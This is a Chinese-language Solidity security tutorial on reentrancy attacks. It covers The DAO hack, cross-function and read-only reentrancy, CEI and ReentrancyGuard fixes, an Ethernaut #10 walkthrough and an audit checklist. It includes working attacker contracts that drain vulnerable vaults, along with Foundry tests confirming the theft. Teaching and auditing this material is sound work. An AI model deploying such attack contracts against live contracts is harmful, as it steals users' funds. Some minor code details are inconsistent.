重入攻击 — 从The DAO到现代防护
### 1. 什么是重入攻击?
日期: 2026-05-29 方向: Solidity 阶段: 第三阶段:安全审计 标签: #solidity #security #reentrancy #ethernaut
今日目标
| 类型 | 内容 |
|---|---|
| 学习 | 深入理解重入攻击的原理、The DAO Hack (2016) 案例、单函数/跨函数/只读重入的区别 |
| 实操 | 编写漏洞合约 + 攻击合约 + 修复版本(CEI + ReentrancyGuard),Foundry 测试验证 |
| 产出 | 重入攻击类型全景、Ethernaut #10 分析、安全审计 checklist |
核心概念
1. 什么是重入攻击?
重入攻击(Reentrancy)是智能合约最经典、最致命的漏洞。它的核心原理是:
当合约 A 在状态更新完成之前,向外部地址发起调用(如发送 ETH),外部地址可以回调合约 A 的函数,此时合约 A 的状态仍然是旧的。
正常流程(预期):
1. 用户调用 withdraw(1 ETH)
2. 合约检查: balances[user] >= 1 ETH ✓
3. 合约发送: user.call{value: 1 ETH}
4. 合约更新: balances[user] -= 1 ETH
5. 完成
攻击流程(实际):
1. 攻击者调用 withdraw(1 ETH)
2. 合约检查: balances[attacker] >= 1 ETH ✓
3. 合约发送: attacker.call{value: 1 ETH}
└─> 3a. 攻击者的 receive() 被触发
└─> 3b. 再次调用 withdraw(1 ETH)
└─> 3c. 合约检查: balances[attacker] >= 1 ETH ✓ (还没更新!)
└─> 3d. 合约发送: attacker.call{value: 1 ETH}
└─> 3e. 再次调用 withdraw(1 ETH)
└─> ... 循环直到合约余额耗尽
4. 合约更新: balances[attacker] -= 1 ETH (只减了一次!)
2. The DAO Hack (2016) — 改变以太坊历史的攻击
背景
The DAO 是 2016 年在以太坊上最大的去中心化基金,通过众筹募集了约 1.5 亿美元的 ETH。它允许代币持有者投票决定如何投资这些资金。
漏洞代码(简化版)
// The DAO 的 splitDAO 函数(简化)
contract TheDAO {
mapping(address => uint256) public balances;
function withdraw() public {
uint256 balance = balances[msg.sender];
require(balance > 0);
// 危险:先转账,后更新状态
(bool success, ) = msg.sender.call{value: balance}("");
require(success);
// 状态更新太晚了!
balances[msg.sender] = 0;
}
}
攻击合约
contract Attacker {
TheDAO public target;
uint256 public attackCount;
constructor(address _target) {
target = TheDAO(_target);
}
// 发起攻击
function attack() external payable {
// 先存入一些 ETH
target.deposit{value: msg.value}();
// 触发第一次提取
target.withdraw();
}
// 每次收到 ETH 时重入
receive() external payable {
if (address(target).balance >= 1 ether) {
attackCount++;
target.withdraw(); // 重入!
}
}
}
历史影响
- 损失:约 360 万 ETH(当时约 7000 万美元)
- 后果:以太坊社区决定硬分叉(Hard Fork)回滚交易
- 以太坊分裂:反对分叉的一方继续原链 → Ethereum Classic (ETC)
- 教训:这次攻击奠定了"先更新状态,后外部调用"(CEI 模式)的安全原则
3. 重入攻击的三种类型
3.1 单函数重入(Single-function Reentrancy)
最基础的类型,攻击者在同一个函数上重入。就是上面 The DAO 的例子。
3.2 跨函数重入(Cross-function Reentrancy)
攻击者通过一个函数的外部调用,重入另一个函数,而那个函数依赖同一个状态变量。
contract VulnerableBank {
mapping(address => uint256) public balances;
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0);
// 外部调用
(bool success, ) = msg.sender.call{value: bal}("");
require(success);
// 状态更新
balances[msg.sender] = 0;
}
}
攻击者在 withdraw() 的外部调用中不是重入 withdraw(),而是调用 transfer(),把余额转给另一个地址。因为 withdraw() 还没更新 balances[msg.sender],transfer() 认为余额充足。
contract CrossFunctionAttacker {
VulnerableBank public bank;
address public accomplice;
constructor(address _bank, address _accomplice) {
bank = VulnerableBank(_bank);
accomplice = _accomplice;
}
function attack() external {
bank.withdraw();
}
receive() external payable {
// 重入 transfer 而非 withdraw
// 把"未更新的余额"转给同伙
bank.transfer(accomplice, bank.balances(address(this)));
}
}
// 结果:
// 1. 攻击者取出了 ETH(通过 withdraw)
// 2. 同时余额还"转给了"同伙(通过 transfer)
// 3. 同伙再 withdraw 一次
// 4. 一份钱花了两次
3.3 只读重入(Read-only Reentrancy)
这是最隐蔽的类型。攻击者不修改受害合约的状态,而是利用受害合约状态的暂时不一致来欺骗第三方合约。
// 一个 Vault 合约,提供 getSharePrice() 给外部调用
contract Vault {
uint256 public totalAssets;
uint256 public totalShares;
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (totalAssets * 1e18) / totalShares;
}
function withdraw(uint256 shares) external {
uint256 assets = (shares * totalAssets) / totalShares;
totalShares -= shares;
// 注意:totalAssets 还没更新!
// 外部调用
(bool success, ) = msg.sender.call{value: assets}("");
require(success);
// 在外部调用之后才更新
totalAssets -= assets;
}
}
// 第三方合约依赖 Vault.getSharePrice()
contract LendingProtocol {
Vault public vault;
function borrow(uint256 shares) external {
// 用 Vault 的 share 作为抵押
uint256 collateralValue = shares * vault.getSharePrice() / 1e18;
// ... 根据 collateralValue 借出资产
}
}
攻击流程:
- 攻击者调用
Vault.withdraw() - 在
receive()回调中,调用LendingProtocol.borrow() - 此时
Vault.totalShares已减少但totalAssets未减少 getSharePrice()返回一个虚高的价格- 攻击者用虚高的价格获得更多借款
只读重入的特点:受害的不是被重入的合约,而是依赖其状态的第三方合约。传统的 nonReentrant 修饰符不能防护这种攻击(因为 getSharePrice() 是 view 函数)。
4. CEI 模式(Checks-Effects-Interactions)
CEI 是防止重入攻击的基本编程模式:
Checks: 检查前置条件(require/assert)
Effects: 更新状态变量
Interactions: 外部调用(发送 ETH、调用其他合约)
修复版:
contract SafeBank {
mapping(address => uint256) public balances;
function withdraw() external {
uint256 bal = balances[msg.sender];
// Checks
require(bal > 0, "No balance");
// Effects — 先更新状态!
balances[msg.sender] = 0;
// Interactions — 最后才做外部调用
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Transfer failed");
}
}
即使攻击者重入 withdraw(),第二次调用时 balances[msg.sender] 已经是 0,require(bal > 0) 会失败。
5. ReentrancyGuard — 互斥锁
OpenZeppelin 提供的 ReentrancyGuard 使用一个 storage 变量作为互斥锁:
// OpenZeppelin ReentrancyGuard 简化实现
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
uint256 private _status;
constructor() {
_status = NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != ENTERED, "ReentrancyGuard: reentrant call");
_status = ENTERED;
_;
_status = NOT_ENTERED;
}
}
使用方式:
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function withdraw() external nonReentrant {
uint256 bal = balances[msg.sender];
require(bal > 0);
// 即使这里先做外部调用,重入也会被 nonReentrant 阻止
(bool success, ) = msg.sender.call{value: bal}("");
require(success);
balances[msg.sender] = 0;
}
// 跨函数重入也被阻止!
function transfer(address to, uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
最佳实践:CEI + ReentrancyGuard 双重保护。
代码实战
Foundry 完整测试:漏洞合约 → 攻击 → 修复
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title VulnerableVault — 存在重入漏洞的合约
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0, "No balance");
// 漏洞:先转账后更新状态
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./VulnerableVault.sol";
/// @title ReentrancyAttacker — 攻击合约
contract ReentrancyAttacker {
VulnerableVault public vault;
address public owner;
uint256 public attackCount;
constructor(address _vault) {
vault = VulnerableVault(_vault);
owner = msg.sender;
}
/// @notice 发起攻击
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
// 先正常存入 1 ETH
vault.deposit{value: 1 ether}();
// 开始提取(触发重入循环)
vault.withdraw();
}
/// @notice 收到 ETH 时自动重入
receive() external payable {
if (address(vault).balance >= 1 ether) {
attackCount++;
vault.withdraw();
}
}
/// @notice 攻击者提走所有战利品
function collectLoot() external {
require(msg.sender == owner);
(bool success, ) = owner.call{value: address(this).balance}("");
require(success);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/// @title SecureVault — 修复版(CEI + ReentrancyGuard)
contract SecureVault is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 bal = balances[msg.sender];
require(bal > 0, "No balance");
// CEI: Effects before Interactions
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Transfer failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableVault.sol";
import "../src/SecureVault.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableVault vulnerable;
SecureVault secure;
ReentrancyAttacker attacker;
address alice = address(0x1);
address bob = address(0x2);
address eve = address(0x666); // 攻击者
function setUp() public {
vulnerable = new VulnerableVault();
secure = new SecureVault();
// Alice 和 Bob 各存入 10 ETH
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
vm.deal(eve, 1 ether);
vm.prank(alice);
vulnerable.deposit{value: 10 ether}();
vm.prank(bob);
vulnerable.deposit{value: 10 ether}();
// Vault 现在有 20 ETH
}
/// @notice 验证攻击者可以榨干漏洞合约
function test_ReentrancyAttack() public {
// 合约初始余额 20 ETH
assertEq(vulnerable.getBalance(), 20 ether);
// Eve 部署攻击合约
vm.prank(eve);
attacker = new ReentrancyAttacker(address(vulnerable));
// Eve 用 1 ETH 发起攻击
vm.prank(eve);
attacker.attack{value: 1 ether}();
// 漏洞合约被榨干!
assertEq(vulnerable.getBalance(), 0);
// 攻击者获得了所有 21 ETH(20 + 自己的 1)
assertEq(address(attacker).balance, 21 ether);
// 攻击重入了多次
assertGt(attacker.attackCount(), 0);
emit log_named_uint("Attack count", attacker.attackCount());
emit log_named_uint("Attacker profit", address(attacker).balance - 1 ether);
}
/// @notice 验证修复版合约能抵御攻击
function test_SecureVaultResistsAttack() public {
// 给 secure vault 存入资金
vm.deal(alice, 10 ether);
vm.prank(alice);
secure.deposit{value: 10 ether}();
// 部署针对 secure vault 的攻击合约
// 需要一个新的攻击合约指向 secure vault
ReentrancyAttacker secureAttacker = new ReentrancyAttacker(
address(secure)
);
// 攻击应该失败(因为 nonReentrant + CEI)
vm.deal(eve, 1 ether);
vm.prank(eve);
// 重入调用会被 nonReentrant revert
// 但由于 CEI,即使没有 guard 也安全
// 这里 SecureVault 的 withdraw 先清零 balance 再转账
// 攻击者的 receive 中重入 withdraw 时 balance 已经是 0
secureAttacker.attack{value: 1 ether}();
// Secure vault 只被取走了攻击者自己存入的 1 ETH
assertEq(secure.getBalance(), 10 ether);
assertEq(address(secureAttacker).balance, 1 ether);
}
/// @notice 验证正常用户不受影响
function test_NormalWithdrawStillWorks() public {
uint256 aliceBalBefore = alice.balance;
vm.prank(alice);
vulnerable.withdraw();
assertEq(alice.balance - aliceBalBefore, 10 ether);
assertEq(vulnerable.balances(alice), 0);
}
}
Ethernaut #10 Re-Entrancy 解析
Ethernaut Level 10 的合约几乎与上面的 VulnerableVault 相同:
// Ethernaut Reentrance(简化)
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function withdraw(uint _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
// 使用 unchecked 减法(Solidity 0.6 风格)
balances[msg.sender] -= _amount;
}
}
}
通关步骤:
- 部署攻击合约,在 constructor 中记录 target 地址
- 调用
donate{value: 0.001 ether}(attackerAddress)给自己充余额 - 调用
withdraw(0.001 ether)触发重入循环 receive()中反复调用withdraw()直到合约余额归零
关键学习点:
- 即使在 Solidity 0.8+ 中有溢出保护,
balances[msg.sender] -= _amount也不会在重入期间 revert,因为balances[msg.sender]仍然是原始值 - 实际的溢出只在最后一次(正常的)状态更新时发生
关键要点总结
- 重入的根因是"外部调用在状态更新之前":只要合约在修改自身状态之前把执行权交给了外部地址,就有重入风险
- CEI 模式是第一道防线:Checks → Effects → Interactions 的顺序可以从根本上消除单函数重入
- ReentrancyGuard 是第二道防线:通过互斥锁防止同一交易内的重入,同时防护跨函数重入
- 只读重入是新兴威胁:2022-2023 年多起事件涉及只读重入,传统的 nonReentrant 无法防护
call是最危险的外部交互:transfer和send有 2300 gas 限制(曾被认为安全),但 EIP-1884 后 gas 成本变化使这种假设不再可靠。推荐用call+ CEI + nonReentrant- 审计重入的关键:搜索所有外部调用点:任何
.call,.transfer,.send, 以及 ERC20 的transfer/safeTransfer和 ERC721 的safeTransferFrom(后两者会调用接收者的回调函数)
常见误区
误区 1: "ERC20 的 transfer 不会触发重入"
标准的 ERC20 transfer 确实不会。但如果代币实现了 ERC777(带有 tokensReceived hook)或者是任何在 transfer 时回调接收者的代币,就会触发重入。这在 2020 年 imBTC/Uniswap 攻击中被利用。
误区 2: "Solidity 0.8 的溢出保护可以防止重入"
溢出保护只防止数学错误,不防止重入。在重入场景中,状态变量还没有被修改,所以不存在溢出——问题是同一个未更新的值被多次使用。
误区 3: "只要用了 ReentrancyGuard 就安全了"
ReentrancyGuard 只保护同一合约内的函数。它不能防止:
- 只读重入(view 函数不受 guard 影响)
- 跨合约重入(合约 A 调用合约 B,B 回调 A 的其他函数不在 guard 范围内)
- 多合约组合攻击
误区 4: "transfer() 和 send() 是安全的因为 gas 限制"
在 Istanbul 硬分叉(EIP-1884)之后,SLOAD 的 gas 从 200 涨到 800。这意味着 2300 gas 的限制在某些情况下可能不够执行回调中的 SLOAD 操作,但在其他情况下又可能够用。依赖 gas 限制来防止重入是不可靠的策略。Solidity 官方也已不推荐使用 transfer() 和 send()。
面试关联
Q1: "解释重入攻击及其防护方法"
30 秒版本: 重入攻击利用合约在状态更新前进行外部调用的漏洞。攻击者在回调中再次调用同一函数,读到未更新的旧状态。防护方法:CEI 模式(先更新状态后外部调用)+ ReentrancyGuard(互斥锁)。
2 分钟版本: 补充 The DAO Hack 案例、三种重入类型(单函数/跨函数/只读)、以及为什么需要双重防护。
Q2: "The DAO Hack 对以太坊生态有什么影响?"
- 技术影响:确立了 CEI 模式作为安全开发标准
- 社区影响:分裂为 ETH(支持回滚)和 ETC(反对干预)
- 哲学争论:"代码即法律" vs "社区共识可以纠正错误"
- 长期影响:催生了智能合约审计行业、推动了形式化验证研究
Q3: "作为 PM,如何确保产品不被重入攻击?"
- 技术层面:要求开发团队遵循 CEI 模式 + ReentrancyGuard,在 code review 中检查所有外部调用
- 流程层面:上线前必须经过至少一家专业审计公司审计
- 工具层面:集成 Slither/Mythril 等静态分析工具到 CI/CD
- 监控层面:部署后使用 Forta/OpenZeppelin Defender 进行实时监控
- 应急层面:准备紧急暂停机制(Pausable)和事件响应流程
安全审计 Checklist — 重入相关
□ 所有外部调用(call/transfer/send)是否在状态更新之后?
□ 所有涉及 ETH 发送的函数是否有 nonReentrant 修饰符?
□ ERC20 transfer 是否考虑了 ERC777 兼容代币?
□ ERC721 safeTransferFrom 是否考虑了 onERC721Received 回调?
□ 是否有 view 函数在状态不一致时被外部合约调用的风险?
□ 跨合约调用链中是否存在状态不一致的窗口?
□ 是否使用了 OpenZeppelin 最新版的 ReentrancyGuard?
□ nonReentrant 是否应用于所有关键的状态修改函数(不仅仅是发送 ETH 的函数)?
参考资源
| 资源 | 链接 |
|---|---|
| The DAO Hack 完整分析 | https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/ |
| OpenZeppelin ReentrancyGuard | https://docs.openzeppelin.com/contracts/5.x/api/utils#ReentrancyGuard |
| Ethernaut Level 10 | https://ethernaut.openzeppelin.com/level/10 |
| SWC-107: Reentrancy | https://swcregistry.io/docs/SWC-107 |
| Read-Only Reentrancy (ChainSecurity) | https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/ |
| Slither (静态分析工具) | https://github.com/crytic/slither |
| Consensys: 已知攻击列表 | https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/ |
| Solidity Patterns: CEI | https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html |